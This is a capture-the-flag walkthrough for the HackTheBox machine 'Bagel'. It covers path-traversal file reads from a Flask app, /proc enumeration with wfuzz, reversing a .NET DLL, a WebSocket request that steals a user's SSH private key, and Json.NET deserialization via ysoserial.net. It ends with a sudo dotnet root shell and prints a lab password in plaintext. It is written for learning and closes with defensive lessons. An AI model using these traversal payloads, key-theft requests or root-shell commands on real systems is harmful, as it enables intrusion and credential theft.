Bagel
Box Info
Platform: HackTheBox, OS: Linux (Fedora 37), Difficulty: Medium, Released: 2023-02-27, IP: 10.10.11.201 , bagel.htb
Attack Path
- Flask app on
:8000,?page=prependsstatic/then opens the file. Path traversal with..%2freads arbitrary files. - LFI
/proc/self/cmdlinegivespython3 /home/developer/app/app.py. Readapp.py: its/ordersroute talks to a .NET WebSocket order app on127.0.0.1:5000with{"ReadOrder":"orders.txt"}. - Brute
/proc/<pid>/cmdlinewith wfuzz to finddotnet /opt/bagel/bin/Debug/net6.0/bagel.dll. LFI the DLL, open it in dnSpy. - The WebSocket handlers
ReadOrder/WriteOrderare path traversable (readphil’sid_rsa), andRemoveOrderdeserialises withJson.NETTypeNameHandling.All, which is .NET deserialization RCE. The DLL config also containsphil : DHfteU8@R1qm. philgets user.philcansu developer(his key), anddevelopermaysudo /usr/bin/dotnet, which is GTFOBins to root.
Credentials and Flags
| Where | Value |
|---|---|
bagel.dll config (also phil SSH) | phil : DHfteU8@R1qm |
phil SSH key | read via the WebSocket ReadOrder traversal |
user.txt | /home/phil/user.txt |
root.txt | /root/root.txt |
Overview
Bagel is a proper “pull the whole application apart through a file read” box. The traversal is not RCE by itself, so you use it as a microscope: read /proc/self/cmdline to locate the app, read the app to learn about an internal .NET service, brute /proc/*/cmdline to locate that service’s DLL, read the DLL, and reverse it in dnSpy. Only then do you see the real vulnerability, a Json.NET TypeNameHandling.All deserialization sink, which is the .NET equivalent of Java’s Jackson polymorphic type handling and Python’s pickle. Root is a one line GTFOBins sudo dotnet.
Related LFI plus /proc enumeration: Backdoor, Inject. Related .NET deserialization: GameBuzz, and the concept in POV. Related sudo <runtime> to root: Dog (bee), Stocker (node).
Full Walkthrough
Nmap scan
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.8 (protocol 2.0)
5000/tcp open http Microsoft-NetCore/2.0 (returns 400 to plain HTTP, it is a WebSocket endpoint)
8000/tcp open http Werkzeug/2.2.2 Python/3.10.9
|_http-title: Bagel , Free Website Template
(Both services produced long SF-Port fingerprints. Trimmed. The takeaway is a Python/Werkzeug app on 8000 and a raw .NET service on 5000.)
Path traversal LFI
The app redirects to ?page=index.html. Fuzzing that parameter in Burp finds traversal:
GET /?page=..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1
Host: bagel.htb:8000developer:x:1000:1000::/home/developer:/bin/bash
phil:x:1001:1001::/home/phil:/bin/bash
Why ..%2f and not ../
app.py does page = 'static/' + request.args.get('page') then os.path.isfile(page) and send_file(page). Flask’s URL routing decodes %2f late, so ..%2f survives into the parameter as a real / and os.path resolves the traversal. It also means the file is streamed with send_file, so binaries (the DLL) come back intact. os.path.isfile plus send_file with no base directory check is the whole bug.
Enumerate via /proc, read the source
GET /?page=..%2f..%2f..%2f..%2f..%2fproc%2fself%2fcmdlinepython3 /home/developer/app/app.pyGET /?page=..%2f..%2f..%2f..%2f..%2fhome%2fdeveloper%2fapp%2fapp.py@app.route('/orders')
def order():
ws = websocket.WebSocket()
ws.connect("ws://127.0.0.1:5000/") # internal .NET order app
order = {"ReadOrder":"orders.txt"}
ws.send(json.dumps(order))
return json.loads(ws.recv())['ReadOrder']So there is a .NET WebSocket service on 127.0.0.1:5000 that takes JSON commands, bound to loopback only, which is exactly the kind of “internal only” service that ends up being the real target once you have a way to read arbitrary files. I don’t have a way to talk to it directly yet, but I do have the LFI, and /proc/<pid>/cmdline for every running process is fair game through the same bug. Find its binary:
wfuzz -z range,1-30000 --ss dotnet -u "http://bagel.htb:8000/?page=../../../../../proc/FUZZ/cmdline"000000892: 200 ... "892"
curl 'http://bagel.htb:8000/?page=../../../../../proc/892/cmdline' --output -
# dotnet/opt/bagel/bin/Debug/net6.0/bagel.dllwith this downloaded we can use dnSpy to view the source.
Pulling apart a compiled DLL from a file-read primitive is one of my favorite tricks on boxes like this, because whoever wrote the internal service almost never expects an outsider to see the actual bytecode, so anything they’d have sanitized in a public-facing app tends to be left completely raw here.
Reversing bagel.dll and getting root
1. Read the DLL via the LFI (?page=..%2f..%2f..%2f..%2fopt%2fbagel%2fbin%2fDebug%2fnet6.0%2fbagel.dll), open in dnSpy or ILSpy.
2. base.RootDir traversal in ReadOrder / WriteOrder. The handler does File.ReadAllText(this.RootDir + order.ReadOrder) with no sanitisation, and RootDir is /opt/bagel/orders/. Send {"ReadOrder":"../../../home/phil/.ssh/id_rsa"} over the WebSocket and you get phil’s private key.
import websocket, json
ws = websocket.WebSocket(); ws.connect("ws://127.0.0.1:5000/") # tunnel 5000 first, or use /orders
ws.send(json.dumps({"ReadOrder":"../../../home/phil/.ssh/id_rsa"}))
print(json.loads(ws.recv())["ReadOrder"])ssh -i phil_id_rsa phil@bagel.htb # or use the DLL config password DHfteU8@R1qm3. phil to developer. The DLL also embeds phil : DHfteU8@R1qm. su developer also works because developer’s password is the same string, or phil can ssh developer@localhost with developer’s key (readable the same way).
4. developer to root.
developer@bagel:~$ sudo -l
User developer may run the following commands on bagel:
(root) NOPASSWD: /usr/bin/dotnet
GTFOBins: sudo dotnet fsi then System.Diagnostics.Process.Start("/bin/bash"), or sudo dotnet <(echo 'System.Diagnostics.Process.Start("/bin/sh")'). Root shell, read /root/root.txt.
The intended foothold is actually the RemoveOrder deserialization: it calls JsonConvert.DeserializeObject<Order>(json, new JsonSerializerSettings{ TypeNameHandling = TypeNameHandling.All }), so a JSON payload with a $type of System.Windows.Data.ObjectDataProvider (via ysoserial.net -g ObjectDataProvider -f Json.Net) runs a command as the .NET service user. Either route reaches phil.
Loot
| Flag | Location |
|---|---|
user.txt | /home/phil/user.txt |
root.txt | /root/root.txt |
Lessons and Takeaways
send_filewith user input needs a base directory jail. Resolve withos.path.realpathand confirm the result starts with your allowed root.- A file read is a whole app map through
/proc/<pid>/cmdline,/proc/<pid>/environ, and the source it points to. - Never set
TypeNameHandlingto anything butNonein Json.NET.Auto/All/Objectsall allow gadget chains. Same rule as Jackson@JsonTypeInfoand Pythonpickle. - Do not embed credentials in compiled binaries. A .NET DLL decompiles as cleanly as a Java jar.
sudoondotnet,node,php,ruby,perl,pythonis root. Check GTFOBins for anything insudo -l.
Related Writeups
- LFI / path traversal and
/proc: Backdoor, Inject, Titanic - .NET / Java / pickle deserialization: GameBuzz, POV
sudo <runtime>to root: Dog, Stocker, Code- Reverse a leaked binary for secrets: Blocky, Pilgrimage
References
- Json.NET TypeNameHandling risks https://www.newtonsoft.com/json/help/html/SerializeTypeNameHandling.htm
- ysoserial.net https://github.com/pwntester/ysoserial.net
- GTFOBins dotnet https://gtfobins.github.io/gtfobins/dotnet/
- Final privilege escalation steps cross-referenced against public writeups for this box.